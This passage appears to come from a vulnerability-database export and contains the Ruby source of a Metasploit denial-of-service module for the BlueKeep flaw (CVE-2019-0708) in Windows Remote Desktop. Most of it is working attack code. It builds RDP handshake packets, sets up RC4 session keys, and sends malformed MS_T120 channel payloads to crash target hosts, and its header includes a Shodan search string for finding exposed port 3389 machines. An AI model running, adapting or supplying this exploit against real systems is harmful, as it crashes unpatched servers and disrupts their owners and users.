https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f  \n## Client Security Exchange PDU - 2.2.1.10  \ndef pdu_security_exchange(rcran, rsexp, rsmod, bitlen)  \nencrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod)  \nencrypted_rcran = int_to_bytestring(encrypted_rcran_bignum)  \n  \nbitlen += 8 # Pad with size of TS_SECURITY_PACKET header  \n  \nuserdata_length = 8 + bitlen  \nuserdata_length_low = userdata_length & 0xFF  \nuserdata_length_high = userdata_length / 256  \nflags = 0x80 | userdata_length_high  \n  \npdu = \"\\x64\" + # T.125 sendDataRequest  \n\"\\x00\\x08\" + # intiator userId  \n\"\\x03\\xeb\" + # channelId = 1003  \n\"\\x70\" + # dataPriority = high, segmentation = begin | end  \n[flags].pack(\"C\") +  \n[userdata_length_low].pack(\"C\") + # UserData length  \n  \n# TS_SECURITY_PACKET - 2.2.1.10.1  \n\"\\x01\\x00\" + # securityHeader flags  \n\"\\x00\\x00\" + # securityHeader flagsHi  \n[bitlen].pack(\"L<\") + # TS_ length  \nencrypted_rcran + # encryptedClientRandom - 64 bytes  \n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" # 8 bytes rear padding (always present)  \n  \nreturn(rdp_build_data_tpdu(pdu))  \nend  \n  \n## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c  \n## Client MCS Erect Domain Request PDU - 2.2.1.5  \ndef pdu_erect_domain_request()  \npdu = \"\\x04\" + # T.125 ErectDomainRequest  \n\"\\x01\\x00\" + # subHeight - length 1, value 0  \n\"\\x01\\x00\" # subInterval - length 1, value 0  \n  \nreturn(rdp_build_data_tpdu(pdu))  \nend  \n  \n## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247\\  \n## Client MCS Attach User Request PDU - 2.2.1.6  \ndef pdu_attach_user_request()  \npdu = \"\\x28\" # T.125 AttachUserRequest  \n  \nreturn(rdp_build_data_tpdu(pdu))  \nend  \n  \n## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b  \n## Client MCS Channel Join Request PDU -2.2.1.8  \ndef pdu_channel_request(user1, channel_id)  \npdu = \"\\x38\" + [user1, channel_id].pack(\"nn\") # T.125 ChannelJoinRequest  \n  \nreturn(rdp_build_data_tpdu(pdu))  \nend  \n  \n## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d  \n## TS_INFO_PACKET - 2.2.1.11.1.1  \ndef pdu_client_info(user_name, domain_name = \"\", ip_address = \"\")  \n## Max. len for 4.0/6.0 servers is 44 bytes including terminator.  \n## Max. len for all other versions is 512 including terminator.  \n## We're going to limit to 44 (21 chars + null -> unicode) here.  \n  \n## Blank username is valid, nil = random.  \nuser_name = Rex::Text.rand_text_alpha(10) if user_name.nil?  \nuser_unicode = Rex::Text.to_unicode(user_name[0..20], type = 'utf-16le')  \nuname_len = user_unicode.length  \n  \n## Domain can can be, and for rdesktop typically is, empty.  \n## Max. len for 4.0/5.0 servers is 52 including terminator.  \n## Max. len for all other versions is 512 including terminator.  \n## We're going to limit to 52 (25 chars + null -> unicode) here.  \ndomain_unicode = Rex::Text.to_unicode(domain_name[0..24], type = 'utf-16le')  \ndomain_len = domain_unicode.length  \n  \n## This address value is primarily used to reduce the fields by which this  \n## module can be fingerprinted. It doesn't show up in Windows logs.  \n## clientAddress + null terminator  \nip_unicode = Rex::Text.to_unicode(ip_address, type = 'utf-16le') + \"\\x00\\x00\"  \nip_len = ip_unicode.length  \n  \npdu = \"\\xa1\\xa5\\x09\\x04\" +  \n\"\\x09\\x04\\xbb\\x47\" + # CodePage  \n\"\\x03\\x00\\x00\\x00\" + # flags - INFO_MOUSE, INFO_DISABLECTRLALTDEL, INFO_UNICODE, INFO_MAXIMIZESHELL, INFO_ENABLEWINDOWSKEY  \n[domain_len].pack(\"S<\") + # cbDomain (length value) - EXCLUDES null terminator  \n[uname_len].pack(\"S<\") + # cbUserName (length value) - EXCLUDES null terminator  \n\"\\x00\\x00\" + # cbPassword (length value)  \n\"\\x00\\x00\" + # cbAlternateShell (length value)  \n\"\\x00\\x00\" + # cbWorkingDir (length value)  \n[domain_unicode].pack(\"a*\") + # Domain  \n\"\\x00\\x00\" + # Domain null terminator, EXCLUDED from value of cbDomain  \n[user_unicode].pack(\"a*\") + # UserName  \n\"\\x00\\x00\" + # UserName null terminator, EXCLUDED FROM value of cbUserName  \n\"\\x00\\x00\" + # Password - empty  \n\"\\x00\\x00\" + # AlternateShell - empty  \n  \n## TS_EXTENDED_INFO_PACKET - 2.2.1.11.1.1.1  \n\"\\x02\\x00\" + # clientAddressFamily - AF_INET - FIXFIX - detect and set dynamically  \n[ip_len].pack(\"S<\") + # cbClientAddress (length value) - INCLUDES terminator ... for reasons.  \n[ip_unicode].pack(\"a*\") + # clientAddress (unicode + null terminator (unicode)  \n  \n\"\\x3c\\x00\" + # cbClientDir (length value): 60  \n\"\\x43\\x00\\x3a\\x00\\x5c\\x00\\x57\\x00\\x49\\x00\\x4e\\x00\\x4e\\x00\\x54\\x00\" + # clientDir - 'C:\\WINNT\\System32\\mstscax.dll' + null terminator  \n\"\\x5c\\x00\\x53\\x00\\x79\\x00\\x73\\x00\\x74\\x00\\x65\\x00\\x6d\\x00\\x33\\x00\" +  \n\"\\x32\\x00\\x5c\\x00\\x6d\\x00\\x73\\x00\\x74\\x00\\x73\\x00\\x63\\x00\\x61\\x00\" +  \n\"\\x78\\x00\\x2e\\x00\\x64\\x00\\x6c\\x00\\x6c\\x00\\x00\\x00\" +  \n  \n## clientTimeZone - TS_TIME_ZONE struct - 172 bytes  \n## These are the default values for rdesktop  \n\"\\xa4\\x01\\x00\\x00\" + # Bias  \n  \n## StandardName - 'GTB,normaltid'  \n\"\\x4d\\x00\\x6f\\x00\\x75\\x00\\x6e\\x00\\x74\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\" +  \n\"\\x20\\x00\\x53\\x00\\x74\\x00\\x61\\x00\\x6e\\x00\\x64\\x00\\x61\\x00\\x72\\x00\" +  \n\"\\x64\\x00\\x20\\x00\\x54\\x00\\x69\\x00\\x6d\\x00\\x65\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + # StandardDate  \n\"\\x00\\x00\\x00\\x00\" + # StandardBias  \n  \n## DaylightName - 'GTB,sommartid'  \n\"\\x4d\\x00\\x6f\\x00\\x75\\x00\\x6e\\x00\\x74\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\" +  \n\"\\x20\\x00\\x44\\x00\\x61\\x00\\x79\\x00\\x6c\\x00\\x69\\x00\\x67\\x00\\x68\\x00\" +  \n\"\\x74\\x00\\x20\\x00\\x54\\x00\\x69\\x00\\x6d\\x00\\x65\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x00\\x00\\x03\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" + # DaylightDate  \n\"\\xc4\\xff\\xff\\xff\" + # DaylightBias  \n  \n\"\\x01\\x00\\x00\\x00\" + # clientSessionId  \n\"\\x06\\x00\\x00\\x00\" + # performanceFlags  \n\"\\x00\\x00\" + # cbAutoReconnectCookie  \n\"\\x64\\x00\\x00\\x00\"  \n  \nreturn(pdu)  \nend  \n  \n# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4e9722c3-ad83-43f5-af5a-529f73d88b48  \n# Confirm Active PDU Data - TS_CONFIRM_ACTIVE_PDU - 2.2.1.13.2.1  \ndef pdu_client_confirm_active()  \npdu = \"\\xea\\x03\\x01\\x00\" + # shareId: 66538  \n\"\\xea\\x03\" + # originatorId  \n\"\\x06\\x00\" + # lengthSourceDescriptor: 6  \n\"\\x3e\\x02\" + # lengthCombinedCapabilities: ???  \n\"\\x4d\\x53\\x54\\x53\\x43\\x00\" + # SourceDescriptor: 'MSTSC'  \n\"\\x17\\x00\" + # numberCapabilities: 23  \n\"\\x00\\x00\" + # pad2Octets  \n\"\\x01\\x00\" + # capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET  \n\"\\x18\\x00\" + # lengthCapability: 24  \n\"\\x01\\x00\\x03\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x1d\\x04\\x00\\x00\\x00\\x00\" +  \n\"\\x00\\x00\\x00\\x00\" +  \n\"\\x02\\x00\" + # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET  \n\"\\x1c\\x00\" + # lengthCapability: 28  \n\"\\x20\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x80\\x07\\x38\\x04\\x00\\x00\\x01\\x00\" +  \n\"\\x01\\x00\\x00\\x1a\\x01\\x00\\x00\\x00\" +  \n\"\\x03\\x00\" + # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET  \n\"\\x58\\x00\" + # lengthCapability: 88  \n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x00\\x00\\x00\\x00\\x01\\x00\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xaa\\x00\" +  \n\"\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x01\\x01\\x01\\x00\\x01\\x00\\x00\\x00\\x01\" +  \n\"\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\xa1\\x06\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x84\\x03\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\xe4\\x04\\x00\\x00\\x13\\x00\\x28\\x00\\x03\\x00\\x00\\x03\\x78\\x00\\x00\\x00\" +  \n\"\\x78\\x00\\x00\\x00\\xfc\\x09\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x0a\\x00\" + # capabilitySetType: 10 - ??  \n\"\\x08\\x00\" + # lengthCapability: 8  \n\"\\x06\\x00\\x00\\x00\" +  \n\"\\x07\\x00\" + # capabilitySetType: 7 - TSWINDOWACTIVATION_CAPABILITYSET  \n\"\\x0c\\x00\" + # lengthCapability: 12  \n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x05\\x00\" + # capabilitySetType: 5 - TS_CONTROL_CAPABILITYSET  \n\"\\x0c\\x00\" + # lengthCapability: 12  \n\"\\x00\\x00\\x00\\x00\\x02\\x00\\x02\\x00\" +  \n\"\\x08\\x00\" + # capabilitySetType: 8 - TS_POINTER_CAPABILITYSET  \n\"\\x0a\\x00\" + # lengthCapability: 10  \n\"\\x01\\x00\\x14\\x00\\x15\\x00\" +  \n\"\\x09\\x00\" + # capabilitySetType: 9 - TS_SHARE_CAPABILITYSET  \n\"\\x08\\x00\" + # lengthCapability: 8  \n\"\\x00\\x00\\x00\\x00\" +  \n\"\\x0d\\x00\" + # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET  \n\"\\x58\\x00\" + # lengthCapability: 88  \n\"\\x91\\x00\\x20\\x00\\x09\\x04\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x00\\x00\\x00\\x00\" +  \n\"\\x0c\\x00\" + # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET  \n\"\\x08\\x00\" + # lengthCapability: 8  \n\"\\x01\\x00\\x00\\x00\" +  \n\"\\x0e\\x00\" + # capabilitySetType: 14 - TS_FONT_CAPABILITYSET  \n\"\\x08\\x00\" + # lengthCapability: 8  \n\"\\x01\\x00\\x00\\x00\" +  \n\"\\x10\\x00\" + # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET  \n\"\\x34\\x00\" + # lengthCapability: 52  \n\"\\xfe\\x00\\x04\\x00\\xfe\\x00\\x04\\x00\\xfe\\x00\\x08\\x00\\xfe\\x00\\x08\\x00\" +  \n\"\\xfe\\x00\\x10\\x00\\xfe\\x00\\x20\\x00\\xfe\\x00\\x40\\x00\\xfe\\x00\\x80\\x00\" +  \n\"\\xfe\\x00\\x00\\x01\\x40\\x00\\x00\\x08\\x00\\x01\\x00\\x01\\x03\\x00\\x00\\x00\" +  \n\"\\x0f\\x00\" + # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET  \n\"\\x08\\x00\" + # lengthCapability: 8  \n\"\\x01\\x00\\x00\\x00\" +  \n\"\\x11\\x00\" + # capabilitySetType: ??  \n\"\\x0c\\x00\" + # lengthCapability: 12  \n\"\\x01\\x00\\x00\\x00\\x00\\x28\\x64\\x00\" +  \n\"\\x14\\x00\" + # capabilitySetType: ??  \n\"\\x0c\\x00\" + # lengthCapability: 12  \n\"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x15\\x00\" + # capabilitySetType: ??  \n\"\\x0c\\x00\" + # lengthCapability: 12  \n\"\\x02\\x00\\x00\\x00\\x00\\x0a\\x00\\x01\" +  \n\"\\x1a\\x00\" + # capabilitySetType: ??  \n\"\\x08\\x00\" + # lengthCapability: 8  \n\"\\xaf\\x94\\x00\\x00\" +  \n\"\\x1c\\x00\" + # capabilitySetType: ??  \n\"\\x0c\\x00\" + # lengthCapability: 12  \n\"\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +  \n\"\\x1b\\x00\" + # capabilitySetType: ??  \n\"\\x06\\x00\" + # lengthCapability: 6  \n\"\\x01\\x00\" +  \n\"\\x1e\\x00\" + # capabilitySetType: ??  \n\"\\x08\\x00\" + # lengthCapability: 8  \n\"\\x01\\x00\\x00\\x00\" +  \n\"\\x18\\x00\" + # capabilitySetType: ??  \n\"\\x0b\\x00\" + # lengthCapability: 11  \n\"\\x02\\x00\\x00\\x00\\x03\\x0c\\x00\" +  \n\"\\x1d\\x00\" + # capabilitySetType: ??  \n\"\\x5f\\x00\" + # lengthCapability: 95  \n\"\\x02\\xb9\\x1b\\x8d\\xca\\x0f\\x00\\x4f\\x15\\x58\\x9f\\xae\\x2d\\x1a\\x87\\xe2\" +  \n\"\\xd6\\x01\\x03\\x00\\x01\\x01\\x03\\xd4\\xcc\\x44\\x27\\x8a\\x9d\\x74\\x4e\\x80\" +  \n\"\\x3c\\x0e\\xcb\\xee\\xa1\\x9c\\x54\\x05\\x31\\x00\\x31\\x00\\x00\\x00\\x01\\x00\" +  \n\"\\x00\\x00\\x25\\x00\\x00\\x00\\xc0\\xcb\\x08\\x00\\x00\\x00\\x01\\x00\\xc1\\xcb\" +  \n\"\\x1d\\x00\\x00\\x00\\x01\\xc0\\xcf\\x02\\x00\\x08\\x00\\x00\\x01\\x40\\x00\\x02\" +  \n\"\\x01\\x01\\x01\\x00\\x01\\x40\\x00\\x02\\x01\\x01\\x04\"  \n  \n## type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU  \nreturn(rdp_build_share_control_header(0x13, pdu))  \nend  \n  \n## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5186005a-36f5-4f5d-8c06-968f28e2d992  \n## Client Synchronize - TS_SYNCHRONIZE_PDU - 2.2.1.19 / 2.2.14.1  \ndef pdu_client_synchronize(target_user = 0)   \npdu = \"\\x01\\x00\" + # messageType: 1 SYNCMSGTYPE_SYNC  \n[target_user].pack(\"S<\") # targetUser, 16 bit, unsigned.  \n  \n## pduType2 = 0x1f = 31 - PDUTYPE2_SCYNCHRONIZE  \ndata_header = rdp_build_share_data_header(0x1f, pdu)  \n  \n## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU  \nreturn(rdp_build_share_control_header(0x17, data_header))  \nend  \n  \n## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9d1e1e21-d8b4-4bfd-9caf-4b72ee91a7135  \n## Control Cooperate - TC_CONTROL_PDU 2.2.1.15  \ndef pdu_client_control_cooperate()  \npdu = \"\\x04\\x00\" + # action: 4 - CTRLACTION_COOPERATE  \n\"\\x00\\x00\" + # grantId: 0  \n\"\\x00\\x00\\x00\\x00\" # controlId: 0  \n  \n## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL  \ndata_header = rdp_build_share_data_header(0x14, pdu)  \n  \n## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU  \nreturn(rdp_build_share_control_header(0x17, data_header))  \nend  \n  \n  \n## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4f94e123-970b-4242-8cf6-39820d8e3d35  \n## Control Request - TC_CONTROL_PDU 2.2.1.16  \ndef pdu_client_control_request()  \n  \npdu = \"\\x01\\x00\" + # action: 1 - CTRLACTION_REQUEST_CONTROL  \n\"\\x00\\x00\" + # grantId: 0  \n\"\\x00\\x00\\x00\\x00\" # controlId: 0  \n  \n## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL  \ndata_header = rdp_build_share_data_header(0x14, pdu)  \n  \n## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU  \nreturn(rdp_build_share_control_header(0x17, data_header))  \nend  \n  \n## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/ff7f06f8-0dcf-4c8d-be1f-596ae60c4396  \n## Client Input Event Data - TS_INPUT_PDU_DATA - 2.2.8.1.1.3.1  \ndef pdu_client_input_event_sychronize()  \npdu = \"\\x01\\x00\" + # numEvents: 1  \n\"\\x00\\x00\" + # pad2Octets  \n\"\\x00\\x00\\x00\\x00\" + # eventTime  \n\"\\x00\\x00\" + # messageType: 0 - INPUT_EVENT_SYNC  \n  \n## TS_SYNC_EVENT 202.8.1.1.3.1.1.5  \n\"\\x00\\x00\" + # pad2Octets  \n\"\\x00\\x00\\x00\\x00\" # toggleFlags  \n  \n## pduType2 = 0x1c = 28 - PDUTYPE2_INPUT  \ndata_header = rdp_build_share_data_header(0x1c, pdu)  \n  \n## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU  \nreturn(rdp_build_share_control_header(0x17, data_header))  \nend  \n  \n## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7067da0d-e318-4464-88e8-b11509cf0bd9  \n## Client Font List - TS_FONT_LIST_PDU - 2.2.1.18  \ndef pdu_client_font_list()  \npdu = \"\\x00\\x00\" + # numberFonts: 0  \n\"\\x00\\x00\" + # totalNumberFonts: 0  \n\"\\x03\\x00\" + # listFlags: 3 (FONTLIST_FIRST | FONTLIST_LAST)  \n\"\\x32\\x00\" # entrySize: 50  \n  \n## pduType2 = 0x27 = 29 - PDUTYPE2_FONTLIST  \ndata_header = rdp_build_share_data_header(0x27, pdu)  \n  \n## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU  \nreturn(rdp_build_share_control_header(0x17, data_header))  \nend  \n  \n# ------------------------------------------------------------------------- #  \n  \ndef crash_test(rc4enckey, hmackey)  \nbegin  \nreceived = \"\"  \nfor i in 0..5  \nreceived += rdp_recv()  \nend  \nrescue RdpCommunicationError  \n# we don't care  \nend  \n  \nvprint_status(\"Sending DoS payload\")  \nfound = false  \nfor j in 0..15  \n## x86_payload:  \nrdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, [\"00000000020000000000000\"].pack(\"H*\")), rc4enckey, hmackey, \"\\x03\\xef\"))  \n  \n## x64_payload:  \nrdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, [\"00000000000000000200000\"].pack(\"H*\")), rc4enckey, hmackey, \"\\x03\\xef\"))  \nend  \nend  \n  \ndef produce_dos()  \n  \nunless(rdp_connection_initiation())  \nvprint_status(\"Could not connect to RDP.\")  \nreturn(false)  \nend  \n  \nvprint_status(\"Sending initial client data\")  \nreceived = rdp_sendrecv(pdu_connect_initial(RDPConstants::PROTOCOL_RDP, datastore['RDP_CLIENT_NAME']))  \n  \nrsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_connect_response(received)  \n  \nvprint_status(\"Sending erect domain request\")  \nrdp_send(pdu_erect_domain_request())  \n  \nvprint_status(\"Sending attach user request\")  \nreceived = rdp_sendrecv(pdu_attach_user_request())  \n  \nuser1 = received[9, 2].unpack(\"n\").first  \n  \n[1003, 1004, 1005, 1006, 1007].each do | chan |  \nrdp_sendrecv(pdu_channel_request(user1, chan))  \nend  \n  \n## 5.3.4 Client Random Value  \nclient_rand = ''  \n32.times { client_rand << rand(0..255) }  \nrcran = bytes_to_bignum(client_rand)  \n  \nvprint_status(\"Sending security exchange PDU\")  \nrdp_send(pdu_security_exchange(rcran, rsexp, rsmod, bitlen))  \n  \n## We aren't decrypting anything at this point. Leave the variables here  \n## to make it easier to understand in the future.  \nrc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand)  \n  \nvprint_status(\"RC4_ENC_KEY: #{bin_to_hex(rc4encstart)}\")  \nvprint_status(\"RC4_DEC_KEY: #{bin_to_hex(rc4decstart)}\")  \nvprint_status(\"HMAC_KEY: #{bin_to_hex(hmackey)}\")  \nvprint_status(\"SESS_BLOB: #{bin_to_hex(sessblob)}\")  \n  \nrc4enckey = RC4.new(rc4encstart)  \n  \nvprint_status(\"Sending client info PDU\") # TODO  \npdu = pdu_client_info(datastore['RDP_USER'], datastore['RDP_DOMAIN'], datastore['RDP_CLIENT_IP'])  \nreceived = rdp_sendrecv(rdp_build_pkt(pdu, rc4enckey, hmackey, \"\\x03\\xeb\", true))  \n  \nvprint_status(\"Received License packet\")  \nrdp_recv()  \n  \nvprint_status(\"Sending client confirm active PDU\")  \nrdp_send(rdp_build_pkt(pdu_client_confirm_active(), rc4enckey, hmackey))  \n  \nvprint_status(\"Sending client synchronize PDU\")  \nrdp_send(rdp_build_pkt(pdu_client_synchronize(1009), rc4enckey, hmackey))  \n  \nvprint_status(\"Sending client control cooperate PDU\")  \nrdp_send(rdp_build_pkt(pdu_client_control_cooperate(), rc4enckey, hmackey))  \n  \nvprint_status(\"Sending client control request control PDU\")  \nrdp_send(rdp_build_pkt(pdu_client_control_request(), rc4enckey, hmackey))  \n  \nvprint_status(\"Sending client input sychronize PDU\")  \nrdp_send(rdp_build_pkt(pdu_client_input_event_sychronize(), rc4enckey, hmackey))  \n  \nvprint_status(\"Sending client font list PDU\")  \nrdp_send(rdp_build_pkt(pdu_client_font_list(), rc4enckey, hmackey))  \n  \nvprint_status(\"Sending close mst120 PDU\")  \ncrash_test(rc4enckey, hmackey)  \n  \nvprint_status(\"Sending client disconnection PDU\")  \nrdp_send(rdp_build_data_tpdu(\"\\x21\\x80\"))  \n  \nreturn(true)  \nend  \n  \n# ------------------------------------------------------------------------- #  \n  \ndef run_host(ip)  \n## Allow the run command to call the check command.  \nbegin  \nif(open_connection())  \nstatus = produce_dos()  \nend  \nrescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e  \nbt = e.backtrace.join(\"\\n\")  \nvprint_error(\"Unexpected error: #{e.message}\")  \nvprint_line(bt)  \nelog(\"#{e.message}\\n#{bt}\")  \nrescue RdpCommunicationError => e  \nvprint_error(\"Error communicating RDP protocol.\")  \nstatus = Exploit::CheckCode::Unknown  \nrescue Errno::ECONNRESET => e # NLA?  \nvprint_error(\"Connection reset, possible NLA is enabled.\")  \nrescue => e  \nbt = e.backtrace.join(\"\\n\")  \nvprint_error(\"Unexpected error: #{e.message}\")  \nvprint_line(bt)  \nelog(\"#{e.message}\\n#{bt}\")  \nensure  \n  \nif(status == true)  \nsleep(1)  \nunless(open_connection())  \nprint_good(\"The host is crashed!\")  \nelse  \nprint_bad(\"The DoS has been sent but the host is already connected!\")  \nend  \nend  \n  \ndisconnect()  \nend  \nend  \n  \nend  \n`\n",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "sourceHref": "https://packetstormsecurity.com/files/download/153627/mswinbluekeep-dos.txt",
        "vhref": "https://vulners.com/packetstorm/PACKETSTORM:153627"
    },
    {
        "lastseen": "2019-07-15T13:38:16",
        "bulletinFamily": "exploit",
        "description": "",
        "modified": "2019-07-15T00:00:00",
        "published": "2019-07-15T00:00:00",
        "id": "EDB-ID:47120",
        "href": "https://www.exploit-db.com/exploits/47120",
        "type": "exploitdb",
        "title": "Microsoft Windows Remote Desktop - &#039;BlueKeep&#039; Denial of Service (Metasploit)",
        "sourceData": "# Exploit Title: Bluekeep Denial of Service (metasploit module)\r\n# Shodan Dork: port:3389\r\n# Date: 07/14/2019\r\n# Exploit Author: RAMELLA Sebastien (https://github.com/mekhalleh/)\r\n# Vendor Homepage: https://microsoft.com\r\n# Version: all affected RDP services by cve-2019-0708\r\n# Tested on: Windows XP (32-bits) / Windows 7 (64-bits)\r\n# CVE : 2019-0708\r\n\r\n# I just modified the initial metasploit module for this vuln to produce a denial of service attack.\r\n\r\n##\r\n# This module requires Metasploit: http://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Auxiliary\r\n  Rank = NormalRanking\r\n\r\n  include Msf::Auxiliary::Dos\r\n  include Msf::Auxiliary::Scanner\r\n  include Msf::Exploit::Remote::Tcp\r\n\r\n  def initialize(info = {})\r\n    super(update_info(info,\r\n      'Name'           => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE',\r\n      'Description'    => %q{\r\n        This module checks a range of hosts for the CVE-2019-0708 vulnerability\r\n        by binding the MS_T120 channel outside of its normal slot and sending\r\n        DoS packets.\r\n      },\r\n      'Author'         =>\r\n      [\r\n        'National Cyber Security Centre', # Discovery\r\n        'JaGoTu',                         # Module\r\n        'zerosum0x0',                     # Module\r\n        'Tom Sellers',                    # TLS support and documented packets\r\n        'RAMELLA Sebastien'               # Denial of service module\r\n      ],\r\n      'References'     =>\r\n      [\r\n        [ 'CVE', '2019-0708' ],\r\n        [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]\r\n      ],\r\n      'DisclosureDate' => '2019-05-14',\r\n      'License'        => MSF_LICENSE,\r\n      'Notes'          =>\r\n      {\r\n        'Stability' => [ CRASH_OS_DOWN ],\r\n        'AKA'       => ['BlueKeep']\r\n      }\r\n    ))\r\n\r\n    register_options(\r\n      [\r\n        OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connection', '192.168.0.100']),\r\n        OptString.new('RDP_CLIENT_NAME', [ false, 'The client computer name to report during connection', 'rdesktop']),\r\n        OptString.new('RDP_DOMAIN', [ false, 'The client domain name to report during connection', '']),\r\n        OptString.new('RDP_USER', [ false, 'The username to report during connection.']),\r\n        OptAddressRange.new(\"RHOSTS\", [ true, 'Target address, address range or CIDR identifier']),\r\n        OptInt.new('RPORT', [true, 'The target TCP port on which the RDP protocol response', 3389])\r\n      ]\r\n    )\r\n  end\r\n\r\n  # ------------------------------------------------------------------------- #\r\n\r\n  def bin_to_hex(s)\r\n    return(s.each_byte.map { | b | b.to_s(16).rjust(2, '0') }.join)\r\n  end\r\n\r\n  def bytes_to_bignum(bytesIn, order = \"little\")\r\n    bytes = bin_to_hex(bytesIn)\r\n    if(order == \"little\")\r\n      bytes = bytes.scan(/../).reverse.join('')\r\n    end\r\n    s = \"0x\" + bytes\r\n\r\n    return(s.to_i(16))\r\n  end\r\n\r\n  ## https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110\r\n  def int_to_bytestring(daInt, num_chars = nil)\r\n    unless(num_chars)\r\n      bits_needed = Math.log(daInt) / Math.log(2)\r\n      num_chars = (bits_needed / 8.0).ceil\r\n    end\r\n    if(pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[ num_chars ])\r\n      [daInt].pack(pack_code)\r\n    else\r\n      a = (0..(num_chars)).map{ | i |\r\n        (( daInt >> i*8 ) & 0xFF ).chr\r\n      }.join\r\n      a[0..-2]                                                                 # Seems legit lol!\r\n    end\r\n  end\r\n\r\n  def open_connection()\r\n    begin\r\n      connect()\r\n      sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)\r\n    rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e\r\n      